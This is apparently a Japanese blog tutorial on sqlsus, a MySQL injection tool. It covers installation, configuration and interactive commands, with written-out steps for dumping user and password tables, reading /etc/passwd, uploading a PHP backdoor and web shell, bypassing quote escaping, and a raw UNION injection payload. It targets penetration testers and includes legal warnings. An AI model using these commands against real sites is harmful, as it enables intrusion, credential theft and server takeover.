sqlsus徹底解説:SQLインジェクションとデータベース操作の強力ツール 🛠️

セキュリティツール

はじめに:sqlsusとは? 🤔

sqlsusは、Perlで書かれたオープンソースのMySQLインジェクションおよびデータベース奪取ツールです。主にMySQLを対象としていますが、その強力な機能セットは、セキュリティ専門家やペネトレーションテスターにとって非常に価値があります。コマンドラインインターフェース(CLI)を通じて、データベース構造の取得、独自のSQLクエリの注入(複雑なものでも可能)、Webサーバーからのファイルダウンロード、書き込み可能なディレクトリの探索、バックドアのアップロードと制御、データベースのクローン作成など、多岐にわたる操作を実行できます。

sqlsusの大きな特徴の一つは、可能な限りMySQLコンソールの出力を模倣しようとすることです。これにより、MySQLに慣れているユーザーは直感的に操作できます。また、速度と効率性を重視して設計されており、利用可能なインジェクションスペースを最適化し、MySQL関数を最大限に活用します。スタックされたサブクエリと強力なブラインドインジェクションアルゴリズムを使用し、Webサーバーへのヒットあたりのデータ収集量を最大化します。マルチスレッド機能と組み合わせることで、インバンドインジェクションでもブラインドインジェクションでも、非常に高速なデータベースダンパーとして機能します。

バックエンドとしてSQLiteを使用しており、取得したデータの管理や再利用が容易です。セッション間で情報を保持し、クローン作成などの機能を通じて、中断した箇所から作業を再開できます。

⚠️ 注意: sqlsusは強力なツールであり、セキュリティテストや教育目的でのみ使用してください。許可なく他者のシステムに対して使用することは、法律で禁止されています。

sqlsusのインストール 💻

sqlsusはPerlで書かれているため、実行にはPerlインタプリタといくつかのPerlモジュールが必要です。Kali Linuxなどのペネトレーションテスト用ディストリビューションでは、リポジトリから簡単にインストールできる場合があります。

Kali Linuxでのインストール

Kali Linuxを使用している場合、aptパッケージマネージャーを使って簡単にインストールできます。

  1. まず、パッケージリストを更新します。

    sudo apt update
  2. 次に、sqlsusをインストールします。

    sudo apt install sqlsus

    これにより、sqlsus本体と必要な依存関係(Perlモジュールなど)が自動的にインストールされます。

  3. インストールを確認するには、ヘルプオプションを付けて実行します。

    sqlsus -h

    バージョン情報と使用法が表示されれば、インストールは成功です。

依存関係

手動でインストールする場合や、Kali Linux以外の環境で使用する場合は、以下のPerlモジュールが必要になることがあります(ディストリビューションによってパッケージ名が異なる場合があります)。

  • libwww-perl (LWP::UserAgent を含む)
  • libdbd-sqlite3-perl (DBD::SQLite を含む)
  • libhtml-linkextractor-perl (HTML::LinkExtractor を含む)
  • libterm-readline-gnu-perl (Term::ReadLine::Gnu – コマンドライン編集や履歴機能に推奨)
  • liblwp-protocol-socks-perl (LWP::Protocol::socks – SOCKSプロキシサポート用)
  • perl-Switch または libswitch-perl (一部の環境で必要になることがあります)

Debian/Ubuntuベースのシステムでは、以下のようにインストールできます。

sudo apt install libwww-perl libdbd-sqlite3-perl libhtml-linkextractor-perl libterm-readline-gnu-perl liblwp-protocol-socks-perl libswitch-perl sqlite3

依存関係の解決中にエラーが発生した場合(例: `switch module not being present`)、特定のモジュール(この場合は `Switch`)をCPANなどを使って別途インストールする必要があるかもしれません。

sudo cpan install Switch

ソースからのインストール

最新版や開発版を使用したい場合は、公式リポジトリ(SourceForgeやGitLabなど)からソースコードをダウンロードして手動でセットアップすることも可能です。通常、READMEファイルに詳細な手順が記載されています。

基本的な使い方 🚀

sqlsusの操作は、設定ファイルの生成と編集、そして対話的なシェルでのコマンド実行が基本となります。

1. 設定ファイルの生成

まず、対象となるWebアプリケーションやSQLインジェクションポイントに関する情報を記述するための設定ファイルを生成します。

sqlsus -g myconfig.cfg

これにより、myconfig.cfgという名前の設定ファイルが生成されます。ファイル内には多数のオプションがコメント付きで記述されているため、これを確認しながら編集します。

2. 設定ファイルの編集

生成された設定ファイル(例:myconfig.cfg)をテキストエディタで開きます。最低限、以下の項目を設定する必要があります。

  • Surl_start: SQLインジェクションが可能なURLを指定します。パラメータ部分には %INJECT% というプレースホルダーを使用します。
    例: Surl_start = "http://vulnerable.example.com/product.php?id=1%INJECT%"

他にも、以下のような多くのオプションがあります。必要に応じて設定してください。

  • Smethod: HTTPメソッド (GET または POST)
  • Sdata: POSTメソッドの場合のデータ
  • Scookie: 使用するクッキー
  • Suser_agent: User-Agent文字列
  • Sproxy: 使用するプロキシ (例: http://127.0.0.1:8080, socks://127.0.0.1:9050)
  • Sblind_diff: ブラインドSQLインジェクションで真偽を判定するための差分文字列
  • Sthreads: 使用するスレッド数
  • Sdb_type: データベースの種類 (通常は自動検出されますが、明示的に指定することも可能)
  • Sdocument_root: ファイルアップロード機能を使用する場合のドキュメントルート
  • Sforce_hex: クォートのエスケープ回避のために強制的にHEXエンコードを使用するかどうか

設定ファイルには詳細なコメントが付いているので、各オプションの意味を確認しながら適切に設定します。

3. sqlsusの起動と接続

設定ファイルを指定してsqlsusを起動します。

sqlsus myconfig.cfg

起動に成功すると、sqlsusのプロンプト (sqlsus>) が表示され、対話的な操作が可能になります。セッション情報(通常はターゲットのIPアドレスやホスト名)が作成され、SQLiteデータベースに保存されます。これにより、後でセッションを再開できます。

4. 基本コマンド

sqlsusシェル内で使用できる主なコマンドをいくつか紹介します。コマンド補完機能(Tabキー)が利用できるため、効率的に操作できます。

  • help: 利用可能なコマンドの一覧を表示します。help [command] で特定のコマンドの詳細を表示します。

  • start: 設定ファイルに基づいてSQLインジェクションのテストを開始し、基本的な情報(データベース名、ユーザー名、バージョンなど)を取得しようと試みます。これは最初に行うべき重要なコマンドです。

    sqlsus> start
  • show target: startコマンドで取得したターゲット情報(データベース名、ユーザー名、バージョンなど)を表示します。

    sqlsus> show target
  • get databases: 利用可能なデータベースの一覧を取得します。

    sqlsus> get databases
  • show databases: get databasesで取得済みのデータベース一覧を表示します。

    sqlsus> show databases
  • use <database_name>: 操作対象のデータベースを切り替えます。

    sqlsus> use information_schema
  • get tables: 現在のデータベース内のテーブル一覧を取得します。

    sqlsus> get tables
  • show tables: 取得済みのテーブル一覧を表示します。

    sqlsus> show tables
  • get columns <table_name>: 指定したテーブルのカラム(列)一覧を取得します。

    sqlsus> get columns users
  • show columns <table_name>: 取得済みの指定テーブルのカラム一覧を表示します。

    sqlsus> show columns users
  • select <column(s)> from <table_name> [where ...]: 指定したテーブルからデータを取得します。通常のSQLのSELECT文に近い構文が使えます。

    sqlsus> select user, password from users where id=1

    取得したデータは内部のSQLiteデータベースにキャッシュされます。

  • show all: これまでに取得したすべての情報(ターゲット、DB、テーブル、カラム)を表示します。

    sqlsus> show all
  • download <remote_file>: サーバー上のファイルをダウンロードします(FILE権限が必要)。

    sqlsus> download /etc/passwd
  • upload <local_file> <remote_path>: ローカルファイルをサーバーにアップロードします(FILE権限と書き込み可能なディレクトリが必要)。

    sqlsus> upload backdoor.php /var/www/html/uploads/
  • clone database <db_name>: 指定したデータベース全体をローカルのSQLiteデータベースにクローンします。

    sqlsus> clone database my_app_db
  • clone table <table_name>: 指定したテーブルをクローンします。

    sqlsus> clone table users
  • history: 実行したコマンドの履歴を表示します。

  • exit または quit: sqlsusを終了します。セッション情報は保存されます。

get コマンドは実際にサーバーにリクエストを送信して情報を取得し、show コマンドはローカルにキャッシュされた情報を表示します。

主要な機能 ✨

sqlsusは単なるSQLインジェクションツールに留まらず、多くの高度な機能を提供します。

高速なデータ抽出 ⚡

スタックされたサブクエリや最適化されたブラインドSQLインジェクション技術、マルチスレッドを活用し、高速にデータを抽出します。インジェクション可能な文字数制限を自動検出し、一度のリクエストで最大限の情報を取得しようとします。

MySQLライクなインターフェース 👍

可能な限りMySQLコンソールの出力を模倣し、use database, show tables, select などのコマンドが直感的に利用できます。タブ補完もサポートしています。

SQLiteバックエンド 💾

取得したデータベース構造、データ、実行履歴などをローカルのSQLiteデータベースに保存します。これにより、セッションの再開やデータの再利用、クローン作成が容易になります。

データベース/テーブルのクローン作成 🧬

clone コマンドを使用して、リモートのデータベースやテーブル全体をローカルのSQLiteファイルにコピーできます。大規模なデータセットのオフライン分析や、複数セッションにわたるデータ取得に便利です。

ファイル操作とバックドア設置 📂🚪

データベースユーザーがFILE権限を持っている場合、download コマンドでサーバー上のファイルをダウンロードしたり、upload コマンドでファイルをアップロードしたりできます。書き込み可能なディレクトリを探索し、バックドア(例: PHPシェル)を設置する機能も備えています。

高度なインジェクション技術 💉

数値型、文字列型(クォートあり/なし)の両方のインジェクションに対応。ブラインドSQLインジェクション(時間ベース、エラーベース、ブールベース)も強力にサポート。information_schema が利用できない場合のためのテーブル名・カラム名のブルートフォース機能も搭載。マジッククォートなどのフィルタリングを回避するためのHEXエンコーディング機能もあります。

ネットワーク機能 🌐

Cookieのサポート、HTTP/HTTPSプロトコル、SOCKSおよびHTTPプロキシ経由での接続に対応しています。

Webサイトクロール 🕷️

設定可能な深さでWebサイトをクロールし、リンク(<a>, <img> など)からディレクトリ構造を把握し、書き込み可能なディレクトリを見つけるのに役立ちます。これはファイルアップロード機能と連携して使用されます。

応用的な使い方とヒント 💡

ブラインドSQLインジェクション

エラーメッセージや直接的なデータ表示がない場合でも、sqlsusはブラインドSQLインジェクションを駆使して情報を抽出します。設定ファイルで Sblind_diff や関連するオプションを調整することで、精度と速度を最適化できます。時間ベースのブラインドインジェクションでは、Sbblind_sleep で遅延時間を設定します。

information_schemaが使えない場合

MySQL 5未満や権限不足で information_schema データベースにアクセスできない場合でも、sqlsusはテーブル名やカラム名を推測するためのブルートフォース機能を提供します。設定ファイルの Sbrute_tablesSbrute_columns で辞書ファイルを指定し、get tables --bruteget columns <table> --brute のようにコマンドを実行します。

クォートのエスケープ回避

magic_quotes_gpc などでシングルクォートやダブルクォートがエスケープされてしまう場合、設定ファイルの Sforce_hex1 に設定すると、文字列リテラルが自動的にHEXエンコード(例: 'admin'0x61646d696e)され、エスケープを回避できることがあります。

ファイルアップロードとバックドア

FILE権限があり、書き込み可能なディレクトリを見つけられれば、Webシェルなどのバックドアを設置できます。

  1. crawl コマンドで書き込み可能なディレクトリを探します(設定ファイルで Sdocument_root の設定が必要な場合があります)。
  2. upload <local_shell.php> <remote_writable_dir/shell.php> でシェルをアップロードします。
  3. ブラウザなどからアップロードしたシェルにアクセスして、サーバーを操作します。
🚨 重要: バックドアの設置は極めて深刻な行為であり、法的な問題に発展する可能性が高いです。許可されたペネトレーションテストの範囲内でのみ、細心の注意を払って行ってください。

セッションの管理

sqlsusはセッション情報をSQLiteデータベース(デフォルトでは sqlsus_data/ ディレクトリ以下)に保存します。同じ設定ファイルで再度 sqlsus を起動すると、前回のセッションが読み込まれ、取得済みのデータやコマンド履歴が利用できます。これにより、中断した作業を簡単に再開できます。

カスタムSQLクエリの実行

select コマンドだけでなく、inject <raw_sql_payload> コマンドを使えば、より複雑な、あるいはsqlsusが直接サポートしていないSQLクエリを注入することも可能です。ただし、インジェクションのコンテキストに合わせてペイロードを適切にエンコードする必要があります。

sqlsus> inject UNION ALL SELECT @@version,NULL,NULL--

まとめ 🎉

sqlsusは、MySQLデータベースをターゲットとしたSQLインジェクションの検出、悪用、そしてデータベースの完全なテイクオーバーを支援する非常に強力で多機能なツールです。その高速なデータ抽出能力、MySQLライクなインターフェース、クローン作成機能、ファイル操作機能などは、ペネトレーションテスターやセキュリティ研究者にとって大きな武器となります。

設定ファイルの理解と適切な設定、そして対話シェルでのコマンド操作に慣れることで、sqlsusのポテンシャルを最大限に引き出すことができます。ただし、その強力さゆえに、倫理的な利用と法的な枠組みの遵守が不可欠です。許可された環境でのテストや学習に活用し、Webアプリケーションのセキュリティ向上に役立てましょう。

参考情報 📚

これらのリソースや、ツールの help コマンド、設定ファイル内のコメントを参照することで、より詳細な情報を得ることができます。

コメント

タイトルとURLをコピーしました